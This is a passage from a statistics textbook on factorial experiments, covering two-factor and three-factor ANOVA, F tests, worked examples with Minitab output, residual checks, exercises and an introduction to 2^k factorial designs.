$$MS_A = \frac{SS_A}{a - 1} \qquad MS_B = \frac{SS_B}{b - 1} \qquad MS_{AB} = \frac{SS_{AB}}{(a - 1)(b - 1)} \qquad MS_E = \frac{SS_E}{ab(n - 1)}$$

Assuming that factors A and B are fixed factors, it is not difficult to show that the **expected values** of these mean squares are

Expected Values of Mean Squares: Two Factors

$$E(MS_A) = E\left(\frac{SS_A}{a-1}\right) = \sigma^2 + \frac{bn\sum_{i=1}^{a}\tau_i^2}{a-1} \qquad E(MS_B) = E\left(\frac{SS_B}{b-1}\right) = \sigma^2 + \frac{an\sum_{j=1}^{b}\beta_j^2}{b-1}$$

$$E(MS_{AB}) = E\left(\frac{SS_{AB}}{(a-1)(b-1)}\right) = \sigma^2 + \frac{n\sum_{i=1}^{a}\sum_{j=1}^{b}(\tau\beta)_{ij}^2}{(a-1)(b-1)}$$

$$E(MS_E) = E\left(\frac{SS_E}{ab(n-1)}\right) = \sigma^2$$

From examining these expected mean squares, it is clear that if the null hypotheses about main effects H_0: $\tau_i = 0$, H_0: $\beta_j = 0$, and the interaction hypothesis H_0: $(\tau\beta)_{ij} = 0$ are all true, all four mean squares are unbiased estimates of σ^2.

To test that the row factor effects are all equal to zero (H_0: $\tau_i = 0$), we would use the ratio

F* Test for Factor *A

$$F_0 = \frac{MS_A}{MS_E}$$

which has an F distribution with $a - 1$ and $ab(n - 1)$ degrees of freedom if H_0: $\tau_i = 0$ is true. This null hypothesis is rejected at the α level of significance if $f_0 > f_{\alpha,a-1,ab(n-1)}$. Similarly, to test the hypothesis that all the column factor effects are equal to zero (H_0: $\beta_j = 0$), we would use the ratio

F* Test for Factor *B

$$F_0 = \frac{MS_B}{MS_E}$$

which has an F distribution with $b - 1$ and $ab(n - 1)$ degrees of freedom if H_0: $\beta_j = 0$ is true. This null hypothesis is rejected at the α level of significance if $f_0 > f_{\alpha,b-1,ab(n-1)}$. Finally, to test the hypothesis H_0: $(\tau\beta)_{ij} = 0$, which is the hypothesis that all interaction effects are zero, we use the ratio

***F* Test for *AB* Interaction**

$$F_0 = \frac{MS_{AB}}{MS_E}$$

which has an F distribution with $(a - 1)(b - 1)$ and $ab(n - 1)$ degrees of freedom if the null hypothesis H_0: $(\tau\beta)_{ij} = 0$. This hypothesis is rejected at the α level of significance if $f_0 > f_{\alpha,(a-1)(b-1),ab(n-1)}$.

It is usually best to conduct the test for interaction first and then to evaluate the main effects. If interaction is not significant, interpretation of the tests on the main effects is straightforward. However, as noted in Section 14-3, when interaction is significant, the main effects of the factors involved in the interaction may not have much practical interpretative value. Knowledge of the interaction is usually more important than knowledge about the main effects.

Computational formulas for the sums of squares are easily obtained.

Computing Formulas for ANOVA: Two Factors

Computing formulas for the sums of squares in a two-factor analysis of variance.

$$SS_T = \sum_{i=1}^{a}\sum_{j=1}^{b}\sum_{k=1}^{n} y_{ijk}^2 - \frac{y_{\cdots}^2}{abn} \tag{14-5}$$

$$SS_A = \sum_{i=1}^{a} \frac{y_{i\cdot\cdot}^2}{bn} - \frac{y_{\cdots}^2}{abn} \tag{14-6}$$

$$SS_B = \sum_{j=1}^{b} \frac{y_{\cdot j\cdot}^2}{an} - \frac{y_{\cdots}^2}{abn} \tag{14-7}$$

$$SS_{AB} = \sum_{i=1}^{a}\sum_{j=1}^{b} \frac{y_{ij\cdot}^2}{n} - \frac{y_{\cdots}^2}{abn} - SS_A - SS_B \tag{14-8}$$

$$SS_E = SS_T - SS_{AB} - SS_A - SS_B \tag{14-9}$$

The computations are usually displayed in an ANOVA table, such as Table 14-4.

EXAMPLE 14-1 Aircraft Primer Paint

Aircraft primer paints are applied to aluminum surfaces by two methods: dipping and spraying. The purpose of the primer is to improve paint adhesion, and some parts can be primed using either application method. The process engineering group responsible for this operation is interested in learning whether three different primers differ in their adhesion properties. A factorial experiment was performed to investigate the effect of paint primer type and application method on paint adhesion. For each combination of primer type and application method, three specimens were painted, then a finish paint was applied, and the adhesion force was measured. The data from the experiment are shown in Table 14-5. The circled numbers

Table 14-4 ANOVA Table for a Two-Factor Factorial, Fixed-Effects Model

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	F_0
A treatments	SS_A	$a - 1$	$MS_A = \dfrac{SS_A}{a-1}$	$\dfrac{MS_A}{MS_E}$
B treatments	SS_B	$b - 1$	$MS_B = \dfrac{SS_B}{b-1}$	$\dfrac{MS_B}{MS_E}$
Interaction	SS_{AB}	$(a-1)(b-1)$	$MS_{AB} = \dfrac{SS_{AB}}{(a-1)(b-1)}$	$\dfrac{MS_{AB}}{MS_E}$
Error	SS_E	$ab(n-1)$		
Total	SS_T	$abn - 1$	$MS_E = \dfrac{SS_E}{ab(n-1)}$	

Table 14-5 Adhesion Force Data for Example 14-1

Primer Type	Dipping		Spraying		$y_{i\cdot\cdot}$
1	4.0, 4.5, 4.3	12.8	5.4, 4.9, 5.6	15.9	28.7
2	5.6, 4.9, 5.4	15.9	5.8, 6.1, 6.3	18.2	34.1
3	3.8, 3.7, 4.0	11.5	5.5, 5.0, 5.0	15.5	27.0
$y_{\cdot j\cdot}$	40.2		49.6		$89.8 = y_{\cdots}$

in the cells are the cell totals $y_{ij\cdot}$. The sums of squares required to perform the ANOVA are computed as follows:

$$SS_T = \sum_{i=1}^{a}\sum_{j=1}^{b}\sum_{k=1}^{n} y_{ijk}^2 - \frac{y_{\cdots}^2}{abn}$$
$$= (4.0)^2 + (4.5)^2 + \cdots + (5.0)^2 - \frac{(89.8)^2}{18} = 10.72$$

$$SS_{\text{types}} = \sum_{i=1}^{a} \frac{y_{i\cdot\cdot}^2}{bn} - \frac{y_{\cdots}^2}{abn}$$
$$= \frac{(28.7)^2 + (34.1)^2 + (27.0)^2}{6} - \frac{(89.8)^2}{18} = 4.58$$

$$SS_{\text{methods}} = \sum_{j=1}^{b} \frac{y_{\cdot j\cdot}^2}{an} - \frac{y_{\cdots}^2}{abn}$$
$$= \frac{(40.2)^2 + (49.6)^2}{9} - \frac{(89.8)^2}{18} = 4.91$$

$$SS_{\text{interaction}} = \sum_{i=1}^{a}\sum_{j=1}^{b} \frac{y_{ij\cdot}^2}{n} - \frac{y_{\cdots}^2}{abn} - SS_{\text{types}} - SS_{\text{methods}}$$
$$= \frac{(12.8)^2 + (15.9)^2 + (11.5)^2 + (15.9)^2 + (18.2)^2 + (15.5)^2}{3} - \frac{(89.8)^2}{18} - 4.58 - 4.91 = 0.24$$

and

$$SS_E = SS_T - SS_{\text{types}} - SS_{\text{methods}} - SS_{\text{interaction}}$$
$$= 10.72 - 4.58 - 4.91 - 0.24 = 0.99$$

The ANOVA is summarized in Table 14-6. The experimenter has decided to use $\alpha = 0.05$. Since $f_{0.05,2,12} = 3.89$ and $f_{0.05,1,12} = 4.75$, we conclude that the main effects of primer type and application method affect adhesion force. Furthermore, since $1.5 < f_{0.05,2,12}$, there is no indication of interaction between these factors. The last column of Table 14-6 shows the P-value for each F-ratio. Notice that the P-values for the two test statistics for the main effects are considerably less than 0.05, while the P-value for the test statistic for the interaction is greater than 0.05.

Practical Interpretation: A graph of the cell adhesion force averages $\{\bar{y}_{ij\cdot}\}$ versus levels of primer type for each application method is shown in Fig. 14-10. The no-interaction conclusion is obvious in this graph, because the two lines are nearly parallel. Furthermore, since a large response indicates greater adhesion force, we conclude that spraying is the best application method and that primer type 2 is most effective.

Figure 14-10 Graph of average adhesion force versus primer types for both application methods.

Tests on Individual Means

When both factors are fixed, comparisons between the individual means of either factor may be made using any multiple comparison technique such as Fisher's LSD method (described in

Table 14-6 ANOVA for Example 14-1

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	*P*-Value
Primer types	4.58	2	2.29	28.63	2.7 × E-5
Application methods	4.91	1	4.91	61.38	4.7 × E-6
Interaction	0.24	2	0.12	1.50	0.2621
Error	0.99	12	0.08		
Total	10.72	17			

Chapter 13). When there is no interaction, these comparisons may be made using either the row averages $\bar{y}_{i\cdot\cdot}$ or the column averages $\bar{y}_{\cdot j\cdot}$. However, when interaction is significant, comparisons between the means of one factor (say, *A*) may be obscured by the *AB* interaction. In this case, we could apply a procedure such as Fisher's LSD method to the means of factor *A*, with factor *B* set at a particular level.

Minitab Output

Table 14-7 shows some of the output from the Minitab analysis of variance procedure for the aircraft primer paint experiment in Example 14-1. The upper portion of the table gives factor name and level information, and the lower portion of the table presents the analysis of variance for the adhesion force response. The results are identical to the manual calculations displayed in Table 14-6 apart from rounding.

14-3.2 Model Adequacy Checking

Just as in the single-factor experiments discussed in Chapter 13, the **residuals** from a factorial experiment play an important role in assessing **model adequacy.** The residuals from a two-factor factorial are

$$e_{ijk} = y_{ijk} - \bar{y}_{ij\cdot}$$

That is, the residuals are just the difference between the observations and the corresponding cell averages.

Table 14-7 Analysis of Variance from Minitab for Example 14-1

ANOVA (Balanced Designs)

Factor	Type	Levels	Values		
Primer	fixed	3	1	2	3
Method	fixed	2	Dip	Spray	

Analysis of Variance for Adhesion

Source	DF	SS	MS	F	P
Primer	2	4.5811	2.2906	27.86	0.000
Method	1	4.9089	4.9089	59.70	0.000
Primer *Method	2	0.2411	0.1206	1.47	0.269
Error	12	0.9867	0.0822		
Total	17	10.7178			

Table 14-8 Residuals for the Aircraft Primer Experiment in Example 14-1

	Application Method	
Primer Type	Dipping	Spraying
1	−0.27, 0.23, 0.03	0.10, −0.40, 0.30
2	0.30, −0.40, 0.10	−0.27, 0.03, 0.23
3	−0.03, −0.13, 0.17	0.33, −0.17, −0.17

Table 14-8 presents the residuals for the aircraft primer paint data in Example 14-1. The normal probability plot of these residuals is shown in Fig. 14-11. This plot has tails that do not fall exactly along a straight line passing through the center of the plot, indicating some potential problems with the normality assumption, but the deviation from normality does not appear severe. Figures 14-12 and 14-13 plot the residuals versus the levels of primer types and application methods, respectively. There is some indication that primer type 3 results in slightly lower variability in adhesion force than the other two primers. The graph of residuals versus fitted values in Fig. 14-14 does not reveal any unusual or diagnostic pattern.

Figure 14-11 Normal probability plot of the residuals from Example 14-1.

Figure 14-12 Plot of residuals versus primer type.

Figure 14-13 Plot of residuals versus application method.

Figure 14-14 Plot of residuals versus predicted values $\hat{y}_{ijk}$.

14-3.3 One Observation per Cell

In some cases involving a two-factor factorial experiment, we may have only one replicate—that is, only one observation per cell. In this situation, there are exactly as many parameters in the analysis of variance model as observations, and the error degrees of freedom are zero. Thus, we cannot test hypotheses about the main effects and interactions unless some additional assumptions are made. One possible assumption is to assume the interaction effect is negligible and use the interaction mean square as an error mean square. Thus, the analysis is equivalent to the analysis used in the randomized block design. This no-interaction assumption can be dangerous, and the experimenter should carefully examine the data and the residuals for indications as to whether or not interaction is present. For more details, see Montgomery (2009).

EXERCISES FOR SECTION 14-3

14-1. An article in *Industrial Quality Control* (1956, pp. 5–8) describes an experiment to investigate the effect of two factors (glass type and phosphor type) on the brightness of a television tube. The response variable measured is the current (in microamps) necessary to obtain a specified brightness level. The data are shown in the following table:

(a) State the hypotheses of interest in this experiment.
(b) Test the above hypotheses and draw conclusions using the analysis of variance with $\alpha = 0.05$.
(c) Analyze the residuals from this experiment.

Glass Type	Phosphor Type 1	2	3
1	280	300	290
	290	310	285
	285	295	290
2	230	260	220
	235	240	225
	240	235	230

14-2. An engineer suspects that the surface finish of metal parts is influenced by the type of paint used and the drying time. He selected three drying times—20, 25, and 30 minutes—and used two types of paint. Three parts are tested with each combination of paint type and drying time. The data are as follows:

Paint	Drying Time (min) 20	25	30
1	74	73	78
	64	61	85
	50	44	92
2	92	98	66
	86	73	45
	68	88	85

(a) State the hypotheses of interest in this experiment.
(b) Test the above hypotheses and draw conclusions using the analysis of variance with $\alpha = 0.05$.
(c) Analyze the residuals from this experiment.

14-3. In the book *Design and Analysis of Experiments*, 7th edition (2009, John Wiley & Sons), the results of an experiment involving a storage battery used in the launching mechanism of a shoulder-fired ground-to-air missile were presented. Three material types can be used to make the battery plates. The objective is to design a battery that is relatively unaffected by the ambient temperature. The output response from the battery is effective life in hours. Three temperature levels are selected, and a factorial experiment with four replicates is run. The data are as follows:

Material	Temperature (°F) Low		Medium		High	
1	130	155	34	40	20	70
	74	180	80	75	82	58
2	150	188	136	122	25	70
	159	126	106	115	58	45
3	138	110	174	120	96	104
	168	160	150	139	82	60

(a) Test the appropriate hypotheses and draw conclusions using the analysis of variance with $\alpha = 0.05$.
(b) Graphically analyze the interaction.
(c) Analyze the residuals from this experiment.

14-4. An experiment was conducted to determine whether either firing temperature or furnace position affects the baked density of a carbon anode. The data are as follows:

Position	Temperature (°C) 800	825	850
1	570	1063	565
	565	1080	510

	583	1043	590
2	528	988	526
	547	1026	538
	521	1004	532

(a) State the hypotheses of interest.
(b) Test the above hypotheses using the analysis of variance with $\alpha = 0.05$. What are your conclusions?
(c) Analyze the residuals from this experiment.
(d) Using Fisher's LSD method, investigate the differences between the mean baked anode density at the three different levels of temperature. Use $\alpha = 0.05$.

14-5. An article in *Technometrics* ["Exact Analysis of Means with Unequal Variances" (2002, Vol. 44, pp. 152–160)] described the technique of the analysis of means (ANOM) and presented the results of an experiment on insulation. Four insulation types were tested at three different temperatures. The data are as follows:

	Temperature (F)					
Insulation	1			2		3
	6.6	4	4.5	2.2	2.3	0.9
	2.7	6.2	5.5	2.7	5.6	4.9
1	6	5	4.8	5.8	2.2	3.4
	3	3.2	3	1.5	1.3	3.3
	2.1	4.1	2.5	2.6	0.5	1.1
2	5.9	2.5	0.4	3.5	1.7	0.1
	5.7	4.4	8.9	7.7	2.6	9.9
	3.2	3.2	7	7.3	11.5	10.5
3	5.3	9.7	8	2.2	3.4	6.7
	7	8.9	12	9.7	8.3	8
	7.3	9	8.5	10.8	10.4	9.7
4	8.6	11.3	7.9	7.3	10.6	7.4

(a) Write down a model for this experiment.
(b) Test the appropriate hypotheses and draw conclusions using the analysis of variance with $\alpha = 0.05$.
(c) Graphically analyze the interaction.
(d) Analyze the residuals from the experiment.
(e) Use Fisher's LSD method to investigate the differences between mean effects of insulation type. Use $\alpha = 0.05$.

14-6. Johnson and Leone (*Statistics and Experimental Design in Engineering and the Physical Sciences*, John Wiley, 1977) described an experiment conducted to investigate warping of copper plates. The two factors studied were temperature and the copper content of the plates. The response variable is the amount of warping. The data are as follows:

Temperature (°C)	Copper Content (%)			
	40	60	80	100
50	17, 20	16, 21	24, 22	28, 27
75	12, 9	18, 13	17, 12	27, 31
100	16, 12	18, 21	25, 23	30, 23
125	21, 17	23, 21	23, 22	29, 31

(a) Is there any indication that either factor affects the amount of warping? Is there any interaction between the factors? Use $\alpha = 0.05$.
(b) Analyze the residuals from this experiment.
(c) Plot the average warping at each level of copper content and compare the levels using Fisher's LSD method. Describe the differences in the effects of the different levels of copper content on warping. If low warping is desirable, what level of copper content would you specify?
(d) Suppose that temperature cannot be easily controlled in the environment in which the copper plates are to be used. Does this change your answer for part (c)?

14-7. An article in the *IEEE Transactions on Electron Devices* (November 1986, p. 1754) describes a study on the effects of two variables—polysilicon doping and anneal conditions (time and temperature)—on the base current of a bipolar transistor. The data from this experiment follows below.
(a) Is there any evidence to support the claim that either polysilicon doping level or anneal conditions affect base current? Do these variables interact? Use $\alpha = 0.05$.
(b) Graphically analyze the interaction.
(c) Analyze the residuals from this experiment.
(d) Use Fisher's LSD method to isolate the effects of anneal conditions on base current, with $\alpha = 0.05$.

14-8. An article in the *Journal of Testing and Evaluation* (1988, Vol. 16, pp. 508–515) investigated the effects of cyclic loading frequency and environment conditions on fatigue crack growth at a constant 22 MPa stress for a particular material.

		Environment		
		Air	H_2O	Salt H_2O
Frequency	10	2.29	2.06	1.90
		2.47	2.05	1.93
		2.48	2.23	1.75
		2.12	2.03	2.06
	1	2.65	3.20	3.10
		2.68	3.18	3.24
		2.06	3.96	3.98
		2.38	3.64	3.24
	0.1	2.24	11.00	9.96
		2.71	11.00	10.01
		2.81	9.06	9.36
		2.08	11.30	10.40

The data from the experiment follow. The response variable is fatigue crack growth rate.

(a) Is there indication that either factor affects crack growth rate? Is there any indication of interaction? Use $\alpha = 0.05$.

(b) Analyze the residuals from this experiment.

(c) Repeat the analysis in part (a) using $ln(y)$ as the response. Analyze the residuals from this new response variable and comment on the results.

14-9. Consider a two-factor factorial experiment. Develop a formula for finding a $100(1 - \alpha)\%$ confidence interval on the difference between any two means for either a row or column factor. Apply this formula to find a 95% CI on the difference in mean warping at the levels of copper content 60 and 80% in Exercise 14-6.

		Anneal (temperature/time)				
		900 60	900 180	950 60	1000 15	1000 30
Polysilicon doping	1×10^{20}	4.40 4.60	8.30 8.90	10.15 10.20	10.29 10.30	11.01 10.58
	2×10^{20}	3.20 3.50	7.81 7.75	9.38 10.02	10.19 10.10	10.81 10.60

14-4 GENERAL FACTORIAL EXPERIMENTS

Many experiments involve more than two factors. In this section we introduce the case where there are a levels of factor A, b levels of factor B, c levels of factor C, and so on, arranged in a factorial experiment. In general, there will be $abc \ldots n$ total observations, if there are n replicates of the complete experiment.

For example, consider the **three-factor-factorial experiment,** with underlying model

$$Y_{ijkl} = \mu + \tau_i + \beta_j + \gamma_k + (\tau\beta)_{ij} + (\tau\gamma)_{ik} + (\beta\gamma)_{jk} + (\tau\beta\gamma)_{ijk} + \epsilon_{ijkl} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, b \\ k = 1, 2, \ldots, c \\ l = 1, 2, \ldots, n \end{cases} \tag{14-10}$$

Notice that the model contains three main effects, three two-factor interactions, a three-factor interaction, and an error term. Assuming that A, B, and C are fixed factors, the analysis of variance is shown in Table 14-9. Note that there must be at least two replicates ($n \geq 2$) to compute an error sum of squares. The F-test on main effects and interactions follows directly from the expected mean squares. These ratios follow F distributions under the respective null hypotheses.

EXAMPLE 14-2 Surface Roughness

A mechanical engineer is studying the surface roughness of a part produced in a metal-cutting operation. Three factors, feed rate (A), depth of cut (B), and tool angle (C), are of interest. All three factors have been assigned two levels, and two replicates of a factorial design are run. The coded data are shown in Table 14-10.

The ANOVA is summarized in Table 14-11. Since manual ANOVA computations are tedious for three-factor experiments, we have used Minitab for the solution of this problem. The F-ratios for all three main effects and the interactions are formed by dividing the mean square for the effect of interest by the error mean square. Since the experimenter has selected $\alpha = 0.05$, the critical value for each of these F-ratios is $f_{0.05,1,8} = 5.32$. Alternately, we could use the P-value approach. The P-values for all the test statistics are shown in the last column of Table 14-11. Inspection of these

Table 14-9 Analysis of Variance Table for the Three-Factor Fixed Effects Model

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	Expected Mean Squares	F_0
A	SS_A	$a-1$	MS_A	$\sigma^2 + \dfrac{bcn\Sigma\tau_i^2}{a-1}$	$\dfrac{MS_A}{MS_E}$
B	SS_B	$b-1$	MS_B	$\sigma^2 + \dfrac{acn\Sigma\beta_j^2}{b-1}$	$\dfrac{MS_B}{MS_E}$
C	SS_C	$c-1$	MS_C	$\sigma^2 + \dfrac{abn\Sigma\gamma_k^2}{c-1}$	$\dfrac{MS_C}{MS_E}$
AB	SS_{AB}	$(a-1)(b-1)$	MS_{AB}	$\sigma^2 + \dfrac{cn\Sigma\Sigma(\tau\beta)_{ij}^2}{(a-1)(b-1)}$	$\dfrac{MS_{AB}}{MS_E}$
AC	SS_{AC}	$(a-1)(c-1)$	MS_{AC}	$\sigma^2 + \dfrac{bn\Sigma\Sigma(\tau\gamma)_{ik}^2}{(a-1)(c-1)}$	$\dfrac{MS_{AC}}{MS_E}$
BC	SS_{BC}	$(b-1)(c-1)$	MS_{BC}	$\sigma^2 + \dfrac{an\Sigma\Sigma(\beta\gamma)_{jk}^2}{(b-1)(c-1)}$	$\dfrac{MS_{BC}}{MS_E}$
ABC	SS_{ABC}	$(a-1)(b-1)(c-1)$	MS_{ABC}	$\sigma^2 + \dfrac{n\Sigma\Sigma\Sigma(\tau\beta\gamma)_{ijk}^2}{(a-1)(b-1)(c-1)}$	$\dfrac{MS_{ABC}}{MS_E}$
Error	SS_E	$abc(n-1)$	MS_E	σ^2	
Total	SS_T	$abcn-1$			

P-values is revealing. There is a strong main effect of feed rate, since the F-ratio is well into the critical region. However, there is some indication of an effect due to the depth of cut, since $P = 0.0710$ is not much greater than $\alpha = 0.05$. The next largest effect is the AB or feed rate $\times$ depth of cut interaction. Most likely, both feed rate and depth of cut are important process variables.

Practical Interpretation: Further experiments might study the important factors in more detail to improve the surface roughness.

Obviously, factorial experiments with three or more factors can require many runs, particularly if some of the factors have several (more than two) levels. This point of view leads us to the class of factorial designs considered in Section 14-5 with all factors at two levels. These designs are easy to set up and analyze, and they may be used as the basis of many other useful experimental designs.

Table 14-10 Coded Surface Roughness Data for Example 14-2

Feed Rate (A)	Depth of Cut (B): 0.025 inch, Tool Angle (C) 15°	0.025 inch, Tool Angle (C) 25°	0.040 inch, Tool Angle (C) 15°	0.040 inch, Tool Angle (C) 25°	$y_{i\cdots}$
	9	11	9	10	
20 inches per minute	7	10	11	8	75
	10	10	12	16	
30 inches per minute	12	13	15	14	102

Table 14-11 Minitab ANOVA for Example 14-2

ANOVA (Balanced Designs)

Factor	Type	Levels	Values	
Feed	fixed	2	20	30
Depth	fixed	2	0.025	0.040
Angle	fixed	2	15	25

Analysis of Variance for Roughness

Source	DF	SS	MS	F	P
Feed	1	45.563	45.563	18.69	0.003
Depth	1	10.563	10.563	4.33	0.071
Angle	1	3.063	3.063	1.26	0.295
Feed*Depth	1	7.563	7.563	3.10	0.116
Feed*Angle	1	0.062	0.062	0.03	0.877
Depth*Angle	1	1.563	1.563	0.64	0.446
Feed*Depth*Angle	1	5.062	5.062	2.08	0.188
Error	8	19.500	2.437		
Total	15	92.938			

EXERCISES FOR SECTION 14-4

14-10. The quality control department of a fabric finishing plant is studying the effects of several factors on dyeing for a blended cotton/synthetic cloth used to manufacture shirts. Three operators, three cycle times, and two temperatures were selected, and three small specimens of cloth were dyed under each set of conditions. The finished cloth was compared to a standard, and a numerical score was assigned. The results are shown in the following table.

(a) State and test the appropriate hypotheses using the analysis of variance with $\alpha = 0.05$.

(b) The residuals may be obtained from $e_{ijkl} = y_{ijkl} - \bar{y}_{ijk\cdot}$. Graphically analyze the residuals from this experiment.

14-11. The percentage of hardwood concentration in raw pulp, the freeness, and the cooking time of the pulp are being investigated for their effects on the strength of paper. The data

	Temperature					
	300°			350°		
	Operator			Operator		
Cycle Time	1	2	3	1	2	3
	23	27	31	24	38	34
40	24	28	32	23	36	36
	25	26	28	28	35	39
	36	34	33	37	34	34
50	35	38	34	39	38	36
	36	39	35	35	36	31
	28	35	26	26	36	28
60	24	35	27	29	37	26
	27	34	25	25	34	34

from a three-factor factorial experiment are shown in the following table.

(a) Analyze the data using the analysis of variance assuming that all factors are fixed. Use $\alpha = 0.05$.

(b) Find P-values for the F-ratios in part (a).

(c) The residuals are found by $e_{ijkl} = y_{ijkl} - \bar{y}_{ijk\cdot\cdot}$. Graphically analyze the residuals from this experiment.

Percentage of Hardwood Concentration	Cooking Time 1.5 hours			Cooking Time 2.0 hours		
	Freeness			Freeness		
	350	500	650	350	500	650
10	96.6	97.7	99.4	98.4	99.6	100.6
	96.0	96.0	99.8	98.6	100.4	100.9
15	98.5	96.0	98.4	97.5	98.7	99.6
	97.2	96.9	97.6	98.1	96.0	99.0
20	97.5	95.6	97.4	97.6	97.0	98.5
	96.6	96.2	98.1	98.4	97.8	99.8

14-5 2^k FACTORIAL DESIGNS

Factorial designs are frequently used in experiments involving several factors where it is necessary to study the joint effect of the factors on a response. However, several special cases of the general factorial design are important because they are widely employed in research work and because they form the basis of other designs of considerable practical value.

The most important of these special cases is that of k factors, each at only two levels. These levels may be quantitative, such as two values of temperature, pressure, or time; or they may be qualitative, such as two machines, two operators, the "high" and "low" levels of a factor, or perhaps the presence and absence of a factor. A complete replicate of such a design requires $2 \times 2 \times \cdots \times 2 = 2^k$ observations and is called a **2^k factorial design.**

The 2^k design is particularly useful in the early stages of experimental work, when many factors are likely to be investigated. It provides the smallest number of runs for which k factors can be studied in a complete factorial design. Because there are only two levels for each factor, we must assume that the response is approximately linear over the range of the factor levels chosen.

14-5.1 2^2 Design

The simplest type of 2^k design is the 2^2—that is, two factors A and B, each at two levels. We usually think of these levels as the low and high levels of the factor. The 2^2 design is shown in Fig. 14-15. Note that the design can be represented geometrically as a square with the $2^2 = 4$ runs, or treatment combinations, forming the corners of the square. In the 2^2 design it is customary to denote the low and high levels of the factors A and B by the signs $-$ and $+$, respectively. This is sometimes called the **geometric notation** for the design.

A special notation is used to label the treatment combinations. In general, a treatment combination is represented by a series of lowercase letters. If a letter is present, the corresponding factor is run at the high level in that treatment combination; if it is absent, the factor is run at its low level. For example, treatment combination a indicates that factor A is at the

Treatment	A	B
(1)	–	–
a	+	–
b	–	+
ab	+	+

Figure 14-15 The 2^2 factorial design.

high level and factor B is at the low level. The treatment combination with both factors at the low level is represented by (1). This notation is used throughout the 2^k design series. For example, the treatment combination in a 2^4 with A and C at the high level and B and D at the low level is denoted by ac.

The effects of interest in the 2^2 design are the main effects A and B and the two-factor interaction AB. Let the letters (1), a, b, and ab also represent the totals of all n observations taken at these design points. It is easy to estimate the effects of these factors. To estimate the main effect of A, we would average the observations on the right side of the square in Fig. 14-15 where A is at the high level, and subtract from this the average of the observations on the left side of the square, where A is at the low level, or

Main Effect of Factor A: 2^2 Design

$$A = \bar{y}_{A+} - \bar{y}_{A-} = \frac{a + ab}{2n} - \frac{b + (1)}{2n} = \frac{1}{2n}[a + ab - b - (1)] \qquad (14\text{-}11)$$

Similarly, the main effect of B is found by averaging the observations on the top of the square, where B is at the high level, and subtracting the average of the observations on the bottom of the square, where B is at the low level:

Main Effect of Factor B: 2^2 Design

$$B = \bar{y}_{B+} - \bar{y}_{B-} = \frac{b + ab}{2n} - \frac{a + (1)}{2n} = \frac{1}{2n}[b + ab - a - (1)] \qquad (14\text{-}12)$$

Finally, the AB interaction is estimated by taking the difference in the diagonal averages in Fig. 14-15, or

Interaction Effect AB: 2^2 Design

$$AB = \frac{ab + (1)}{2n} - \frac{a + b}{2n} = \frac{1}{2n}[ab + (1) - a - b] \qquad (14\text{-}13)$$

Table 14-12 Signs for Effects in the 2^2 Design

Treatment Combination	Factorial Effect			
	I	A	B	AB
(1)	+	−	−	+
a	+	+	−	−
b	+	−	+	−
ab	+	+	+	+

The quantities in brackets in Equations 14-11, 14-12, and 14-13 are called **contrasts.** For example, the A contrast is

$$\text{Contrast}_A = a + ab - b - (1)$$

In these equations, the contrast coefficients are always either $+1$ or -1. A table of plus and minus signs, such as Table 14-12, can be used to determine the sign on each treatment combination for a particular contrast. The column headings for Table 14-12 are the main effects A and B, the AB interaction, and I, which represents the total. The row headings are the treatment combinations. Note that the signs in the AB column are the product of signs from columns A and B. To generate a contrast from this table, multiply the signs in the appropriate column of Table 14-12 by the treatment combinations listed in the rows and add. For example, $\text{contrast}_{AB} = [(1)] + [-a] + [-b] + [ab] = ab + (1) - a - b$.

Contrasts are used in calculating both the effect estimates and the sums of squares for A, B, and the AB interaction. For any 2^k design with n replicates, the effect estimates are computed from

Relationship Between a Contrast and an Effect

$$\text{Effect} = \frac{\text{Contrast}}{n2^{k-1}} \tag{14-14}$$

and the sum of squares for any effect is

Sum of Squares for an Effect

$$SS = \frac{(\text{Contrast})^2}{n2^k} \tag{14-15}$$

There is one degree of freedom associated with each effect (two levels minus one) so that the mean square error of each effect equals the sum of squares. The analysis of variance is completed by computing the total sum of squares SS_T (with $4n - 1$ degrees of freedom) as usual, and obtaining the error sum of squares SS_E (with $4(n - 1)$ degrees of freedom) by subtraction.

EXAMPLE 14-3 Wafer Layer

An article in the *AT&T Technical Journal* (Vol. 65, March/April 1986, pp. 39–50) describes the application of two-level factorial designs to integrated circuit manufacturing. A basic processing step in this industry is to grow an epitaxial layer on polished silicon wafers. The wafers are mounted on a susceptor and positioned inside a bell jar. Chemical vapors are introduced through nozzles near the top of the jar. The susceptor is rotated, and heat is applied. These conditions are maintained until the epitaxial layer is thick enough.

Table 14-13 presents the results of a 2^2 factorial design with $n = 4$ replicates using the factors A = deposition time and B = arsenic flow rate. The two levels of deposition time are − =short and + =long, and the two levels of arsenic flow rate are − =55% and + =59%. The response variable is epitaxial layer thickness (μm). We may find the estimates of the effects using Equations 14-11, 14-12, and 14-13 as follows:

$$A = \frac{1}{2n}[a + ab - b - (1)]$$

$$= \frac{1}{2(4)}[59.299 + 59.156 - 55.686 - 56.081] = 0.836$$

$$B = \frac{1}{2n}[b + ab - a - (1)]$$

$$= \frac{1}{2(4)}[55.686 + 59.156 - 59.299 - 56.081]$$

$$= -0.067$$

$$AB = \frac{1}{2n}[ab + (1) - a - b]$$

$$AB = \frac{1}{2(4)}[59.156 + 56.081 - 59.299 - 55.686]$$

$$= 0.032$$

The numerical estimates of the effects indicate that the effect of deposition time is large and has a positive direction (increasing deposition time increases thickness), since changing deposition time from low to high changes the mean epitaxial layer thickness by 0.836 μm. The effects of arsenic flow rate (B) and the AB interaction appear small.

The importance of these effects may be confirmed with the analysis of variance. The sums of squares for A, B, and AB are computed as follows:

$$SS_A = \frac{[a + ab - b - (1)]^2}{16} = \frac{[6.688]^2}{16} = 2.7956$$

$$SS_B = \frac{[b + ab - a - (1)]^2}{16} = \frac{[-0.538]^2}{16} = 0.0181$$

$$SS_{AB} = \frac{[ab + (1) - a - b]^2}{16} = \frac{[0.252]^2}{16} = 0.0040$$

$$SS_T = 14.037^2 + \cdots + 14.932^2 - \frac{(56.081 + \cdots + 59.156)^2}{16}$$

$$= 3.0672$$

Practical Interpretation: The analysis of variance is summarized in Table 14-14 and confirms our conclusions obtained by examining the magnitude and direction of the effects. Deposition time is the only factor that significantly affects epitaxial layer thickness, and from the direction of the effect estimates we know that longer deposition times lead to thicker epitaxial layers.

Models and Residual Analysis

